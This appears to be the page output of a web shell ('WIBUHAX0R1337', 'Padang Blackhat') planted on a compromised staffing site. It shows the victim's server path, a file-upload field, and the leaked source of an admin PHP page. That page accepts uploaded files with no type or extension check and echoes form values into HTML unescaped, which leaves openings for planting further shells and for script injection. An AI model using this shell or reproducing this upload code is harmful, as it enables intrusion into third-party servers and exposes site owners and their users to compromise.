-
✘✘✘ WIBUHAX0R1337 ✘✘✘
-
✘
PATCH :
/
home
/
indianstaffing
/
public_html
/
admin
/
Upload File:
files >> /home/indianstaffing/public_html/admin/add_latest_development.php
<?php include'include/header.php'; include'include/sidebar.php'; // $date = date("Y-m-d"); error_reporting(0); $msg = ''; $heading=$description= ''; if (isset($_GET['id']) && $_GET['id']!="") { $required=""; $id = mysqli_real_escape_string($con, $_GET['id']); $res = mysqli_query($con, "select * from latest_development where id ='$id'"); $check = mysqli_num_rows($res); if ($check>0) { $arr = mysqli_fetch_assoc($res); $heading = $arr['heading']; $image = $arr['image']; $description = $arr['description']; $url = $arr['url']; $tab = $arr['tab']; $addedon =$arr['added_on']; }else { header("location: latest_development.php"); } } if (isset($_POST['sldrbtn'])) { if(isset($_GET['id'])){ $id = mysqli_real_escape_string($con, $_GET['id']); } $heading = mysqli_real_escape_string($con, $_POST['sldrheading']); $description = mysqli_real_escape_string($con, $_POST['description']); $url = mysqli_real_escape_string($con, $_POST['url']); $date = mysqli_real_escape_string($con, $_POST['date']); $tab = mysqli_real_escape_string($con, $_POST['tab']); $filename = $_FILES["image"]["name"]; $tempname = $_FILES["image"]["tmp_name"]; $folder = "uploads/advocacy/events" . $filename; // $date = new date(); $res = mysqli_query($con, "select * from latest_development where heading = '$heading' and id = '$id'"); $check = mysqli_num_rows($res); if ($check>0) { if (isset($_GET['id'])&& $_GET['id']!="") { $getdata=mysqli_fetch_assoc($res); if ($id==$getdata['id']) { }else{ // $msg= "this interview is already exist"; $msg = '<div class="alert alert-danger alert-dismissible"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> This events is already exist. </div>'; } }else { $msg= '<div class="alert alert-danger alert-dismissible"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> This events is already exist. </div>'; } } if ($msg=="") { if (isset($_GET['id']) && $_GET['id']!='') { if ($_FILES["image"]["tmp_name"]!="") { move_uploaded_file($tempname, $folder); $update = "UPDATE `latest_development` SET `heading`='$heading',`description`='$description',`url`='$url',`tab`='$tab',`image`='$filename',`added_on`='$date' WHERE id='$id'"; if ($update) { echo "<script>alert('Latest Development update successfully'); window.location.href='latest_development.php';</script>"; } else { echo "<script>alert('Something went wrong pleas try again.')</script>"; } }else{ $update = "UPDATE `latest_development` SET `heading`='$heading',`description`='$description',`url`='$url',`tab`='$tab',`added_on`='$date' WHERE id='$id'"; } mysqli_query($con, $update); }else { move_uploaded_file($tempname, $folder); $insertquery = "INSERT INTO `latest_development`(`heading`, `description`,`url`, `image`, `added_on`,`tab`) VALUES ('$heading','$description','$url','$filename','$date','$tab')"; $insert_query= mysqli_query($con,$insertquery); if ($insert_query) { echo "<script>alert('Latest Development added successfully'); window.location.href='latest_development.php';</script>"; } else { echo "<script>alert('Something went wrong please try again.')</script>"; } } echo "<script>window.location.href='latest_development.php';</script>"; die(); } } ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <?php if(!empty($id)){ echo "<h1 class='m-0'>Update Latest Development</h1>"; }else{ echo "<h1 class='m-0'>Add Latest Development</h1>"; } ?> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="<?= $weburl; ?>/index">Home</a></li> <?php if(!empty($id)){ echo "<li class='breadcrumb-item active'>Update Latest Development</li>"; }else{ echo "<li class='breadcrumb-item active'>Add Latest Development</li>"; } ?> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <div class="row"> <div class="col-6 mx-auto"> <form action="" method="POST" enctype='multipart/form-data'> <div class="card-body"> <?php echo $msg; ?> <div class="form-group"> <label for="sldrhdname">Heading</label> <input type="text" name="sldrheading" class="form-control" id="sldrhdname" placeholder="Heading" value="<?php echo $heading ?>"> <!-- <small><strong>Note: </strong>Max 35 character is allowed</small> --> </div> <div class="form-group"> <label for="description">Description</label> <textarea type="text" name="description" class="form-control" id="description" placeholder="Description"><?php echo $description; ?></textarea> <!-- <small><strong>Note: </strong>Max 105 character is allowed</small> --> </div> <div class="form-group"> <label for="image">Upload Image</label><br> <input type="file" name="image" id="image"><br> <small><strong>Note: </strong>Image Dimension (400px X 400px)</small><br> <?php if(!empty($image)){ ?> <img style="width:150px;" src="<?=$weburl?>/uploads/advocacy/events<?=$image?>" style="width:100px;"> <?php } ?> </div> <div class="form-group"> <label for="sldrhdname">URL</label> <input type="text" name="url" class="form-control" id="sldrhdname" placeholder="URL" value="<?php echo $url ?>"> <!-- <small><strong>Note: </strong>Max 35 character is allowed</small> --> </div> <div class="form-group"> <label for="sldrhdname">Select Advocacy Tab</label> <select name="tab" class="form-control"> <option value="" <?=($tab=='')?'selected':''?>>Select Advocacy Tab</option> <option value="achievments" <?=($tab=='achievments')?'selected':''?>>achievments</option> <option value="notifications" <?=($tab=='notifications')?'selected':''?>>notifications</option> <option value="infocus" <?=($tab=='infocus')?'selected':''?>>infocus</option> <option value="contract" <?=($tab=='contract')?'selected':''?>>sample contract</option> </select> <!-- <small><strong>Note: </strong>Max 35 character is allowed</small> --> </div> <div class="form-group"> <label for="sldrhdname">Date</label> <input type="date" name="date" class="form-control" id="sldrhdname" placeholder="date" value="<?php echo $addedon ?>"> <!-- <small><strong>Note: </strong>Max 35 character is allowed</small> --> </div> <div> <input type="submit" name="sldrbtn" class="btn btn-primary" value="Submit"> </div> </div> <!-- /.card-body --> </form> </div> </div> </div> <?php include'include/footer.php';?>
2022 - 2023 Copyright By Lutfifakee || Padang Blackhat ♥